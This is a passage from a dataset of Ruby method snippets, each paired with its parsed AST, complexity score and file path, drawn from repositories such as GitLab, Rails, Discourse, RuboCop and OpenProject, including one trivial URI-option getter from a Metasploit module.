case interval\n when 'daily'\n start_time = (ts - start_interval_offset.days).beginning_of_day\n end_time = (ts - end_interval_offset.days).end_of_day\n when 'weekly'\n start_time = (ts - start_interval_offset.weeks).beginning_of_week\n end_time = (ts - end_interval_offset.weeks).end_of_week\n when 'monthly'\n start_time = (ts - start_interval_offset.months).beginning_of_month\n end_time = (ts - end_interval_offset.months).end_of_month\n else\n raise _(\"interval '%{interval}' is not supported\") % {:interval => interval}\n end\n\n start_time..end_time\n end","complexity_score":64.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_time_range\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interval_size\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Option 'interval_size' is required\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"start_interval_offset\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"end_interval_offset\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"interval_size\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[null,\"tz\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interval\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"daily\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_interval_offset\"]},\"days\"]}]}]},\"beginning_of_day\"]}]},{\"type\":\"lvasgn\",\"children\":[\"end_time\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"end_interval_offset\"]},\"days\"]}]}]},\"end_of_day\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"weekly\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_interval_offset\"]},\"weeks\"]}]}]},\"beginning_of_week\"]}]},{\"type\":\"lvasgn\",\"children\":[\"end_time\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"end_interval_offset\"]},\"weeks\"]}]}]},\"end_of_week\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"monthly\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_interval_offset\"]},\"months\"]}]}]},\"beginning_of_month\"]}]},{\"type\":\"lvasgn\",\"children\":[\"end_time\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"end_interval_offset\"]},\"months\"]}]}]},\"end_of_month\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"interval '%{interval}' is not supported\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"send\",\"children\":[null,\"interval\"]}]}]}]}]}]},{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_time\"]},{\"type\":\"lvar\",\"children\":[\"end_time\"]}]}]}]}","id":"cd169d75-abc1-4d84-9c4e-6234e1a70993"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/page/logging.rb","start_line":96,"raw_source":"def fill_element(name, content)\n masked_content = name.to_s.match?(/token|key|password/) ? '*****' : content\n\n log(%(filling :#{highlight_element(name)} with \"#{masked_content}\"), :info)\n\n log_slow_code(name) { super }\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"masked_content\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"token|key|password\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"str\",\"children\":[\"*****\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"filling :\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"highlight_element\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" with \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"masked_content\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_slow_code\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"915424af-0e45-42a7-850c-70c95d75e7ce"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/emoji.rb","start_line":27,"raw_source":"def self.standard\n Discourse.cache.fetch(cache_key(\"standard_emojis\")) { load_standard }\n end","complexity_score":5.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"standard\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"cache_key\",{\"type\":\"str\",\"children\":[\"standard_emojis\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"load_standard\"]}]}]}","id":"e0475fbc-b7cb-47da-8710-ea9a42a0b625"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_and_time_behavior.rb","start_line":202,"raw_source":"def test_prev_weekday_on_sunday\n assert_equal date_time_init(2015, 1, 2, 0, 0, 0), date_time_init(2015, 1, 4, 0, 0, 0).prev_weekday\n assert_equal date_time_init(2015, 1, 2, 15, 15, 10), date_time_init(2015, 1, 4, 15, 15, 10).prev_weekday\n end","complexity_score":16.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_prev_weekday_on_sunday\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"prev_weekday\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[10]}]},\"prev_weekday\"]}]}]}]}","id":"94aeb453-7796-467b-9278-e0c9605fc4e6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/adapters/column_structure_sql_adapter.rb","start_line":139,"raw_source":"def get_value_from_key(node, key:)\n node.to_h[key].values.last\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_value_from_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"kwarg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"to_h\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"values\"]},\"last\"]}]}","id":"a70815a8-8704-4a1a-b947-4c5003064ff5"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/predicate_builder.rb","start_line":155,"raw_source":"def grouping_queries(queries)\n if queries.one?\n queries.first\n else\n queries.map! { |query| query.reduce(&:and) }\n queries = Arel::Nodes::Or.new(queries)\n Arel::Nodes::Grouping.new(queries)\n end\n end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"grouping_queries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queries\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queries\"]},\"one?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queries\"]},\"first\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queries\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"reduce\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"and\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queries\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Or\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"queries\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Grouping\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"queries\"]}]}]}]}]}","id":"f48e3961-4b57-4906-b49f-8493aeb3030e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/script/web_delivery.rb","start_line":200,"raw_source":"def amsi_bypass_uri\n unless datastore['PSH-AmsiBypassURI'].empty?\n @amsi_uri = datastore['PSH-AmsiBypassURI']\n end\n @amsi_uri ||= random_uri\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"amsi_bypass_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PSH-AmsiBypassURI\"]}]},\"empty?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@amsi_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PSH-AmsiBypassURI\"]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@amsi_uri\"]},{\"type\":\"send\",\"children\":[null,\"random_uri\"]}]}]}]}","id":"c37c1ae2-1741-4399-8090-38b0c8d9cfbd"} {"repo_name":"forem","file_path":"./repos/forem/vendor/cache/acts_as_follower-06393d3693a1/lib/generators/templates/migration.rb","start_line":2,"raw_source":"def self.up\n create_table :follows, force: true do |t|\n t.references :followable, polymorphic: true, null: false\n t.references :follower, polymorphic: true, null: false\n t.boolean :blocked, default: false, null: false\n t.timestamps\n end\n\n add_index :follows, [\"follower_id\", \"follower_type\"], name: \"fk_follows\"\n add_index :follows, [\"followable_id\", \"followable_type\"], name: \"fk_followables\"\n end","complexity_score":8.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"follows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"followable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polymorphic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"follower\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polymorphic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"blocked\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"follows\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"follower_id\"]},{\"type\":\"str\",\"children\":[\"follower_type\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"fk_follows\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"follows\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"followable_id\"]},{\"type\":\"str\",\"children\":[\"followable_type\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"fk_followables\"]}]}]}]}]}]}","id":"01a1d41b-55f2-4259-a0ca-c28b9af6aa4e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/group/runners/index.rb","start_line":49,"raw_source":"def has_runner_with_expected_tags?(runner)\n within_runner_row(runner) do\n runner.tags.all? { |tag| has_content?(tag) }\n end\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"has_runner_with_expected_tags?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"runner\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_runner_row\",{\"type\":\"lvar\",\"children\":[\"runner\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"tags\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[null,\"has_content?\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]}]}","id":"09d9e0d6-ca12-465f-982e-cc80601eecfa"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":519,"raw_source":"def test_no_sql_should_be_fired_if_association_already_loaded\n Car.create(name: \"honda\")\n bulbs = Car.first.bulbs\n bulbs.to_a # to load all instances of bulbs\n\n assert_no_queries do\n bulbs.first()\n end\n\n assert_no_queries do\n bulbs.second()\n end\n\n assert_no_queries do\n bulbs.third()\n end\n\n assert_no_queries do\n bulbs.fourth()\n end\n\n assert_no_queries do\n bulbs.fifth()\n end\n\n assert_no_queries do\n bulbs.forty_two()\n end\n\n assert_no_queries do\n bulbs.third_to_last()\n end\n\n assert_no_queries do\n bulbs.second_to_last()\n end\n\n assert_no_queries do\n bulbs.last()\n end\n end","complexity_score":33.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_sql_should_be_fired_if_association_already_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Car\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"honda\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bulbs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Car\"]},\"first\"]},\"bulbs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulbs\"]},\"to_a\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulbs\"]},\"first\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulbs\"]},\"second\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulbs\"]},\"third\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulbs\"]},\"fourth\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulbs\"]},\"fifth\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulbs\"]},\"forty_two\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulbs\"]},\"third_to_last\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulbs\"]},\"second_to_last\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulbs\"]},\"last\"]}]}]}]}","id":"24872172-8472-4923-80ce-fbe61ac4033c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/19_environments.rb","start_line":63,"raw_source":"def find_deployable(project, environment)\n project.builds.where(environment: environment).sample\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_deployable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"environment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"builds\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"lvar\",\"children\":[\"environment\"]}]}]}]},\"sample\"]}]}","id":"897930fe-f4f9-44b3-bf33-330339886148"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/file_empty.rb","start_line":62,"raw_source":"def bang(node)\n if (node.method?(:==) && node.child_nodes.first.method?(:!)) ||\n (%i[>= !=].include?(node.method_name) && !node.child_nodes.first.method?(:!))\n '!'\n end\n end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bang\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"==\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"child_nodes\"]},\"first\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"!\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\">=\"]},{\"type\":\"sym\",\"children\":[\"!=\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"child_nodes\"]},\"first\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"!\"]}]},\"!\"]}]}]}]},{\"type\":\"str\",\"children\":[\"!\"]},null]}]}","id":"0bd1b50e-b0b7-41f9-bfbf-da511075eda6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/env.rb","start_line":99,"raw_source":"def coverband_enabled?\n enabled?(ENV['COVERBAND_ENABLED'], default: false)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"coverband_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"enabled?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COVERBAND_ENABLED\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"8e0a2519-e029-470b-a7e2-7aa56c172df0"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/show.rb","start_line":482,"raw_source":"def expect_item_edit_title(item, value)\n page.within(\"#meeting-agenda-items-form-component-#{item.id}\") do\n find_field(\"Title\", with: value)\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_item_edit_title\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#meeting-agenda-items-form-component-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"id\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"find_field\",{\"type\":\"str\",\"children\":[\"Title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"0af36119-468b-4d56-9b48-ef6f8712baca"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/environment_management.rb","start_line":23,"raw_source":"def disk_usage_threshold\n ::Settings.server.events.disk_usage_gt_percent\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"disk_usage_threshold\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"server\"]},\"events\"]},\"disk_usage_gt_percent\"]}]}","id":"ecd17589-effa-4df3-bb1b-c97a799d7376"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/chat_message/wiki_page_message.rb","start_line":37,"raw_source":"def activity\n {\n title: \"#{strip_markup(user_combined_name)} #{action} #{wiki_page_link}\",\n subtitle: \"in #{project_link}\",\n text: strip_markup(title),\n image: user_avatar\n }\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"activity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strip_markup\",{\"type\":\"send\",\"children\":[null,\"user_combined_name\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki_page_link\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subtitle\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_link\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"strip_markup\",{\"type\":\"send\",\"children\":[null,\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"image\"]},{\"type\":\"send\",\"children\":[null,\"user_avatar\"]}]}]}]}","id":"2218e41b-b08a-4d9d-9268-daa08391b79e"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/concerns/accounts/authorization.rb","start_line":193,"raw_source":"def clone_authorization_ensured\n self.authorization_ensured = { only: authorization_ensured[:only].dup,\n except: authorization_ensured[:except].dup,\n generally_allowed: authorization_ensured[:generally_allowed],\n controller: self }\n 